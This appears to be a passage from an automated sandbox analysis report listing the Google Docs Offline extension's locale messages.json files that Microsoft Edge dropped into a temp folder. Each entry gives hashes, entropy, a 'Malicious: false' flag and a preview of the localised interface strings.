Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
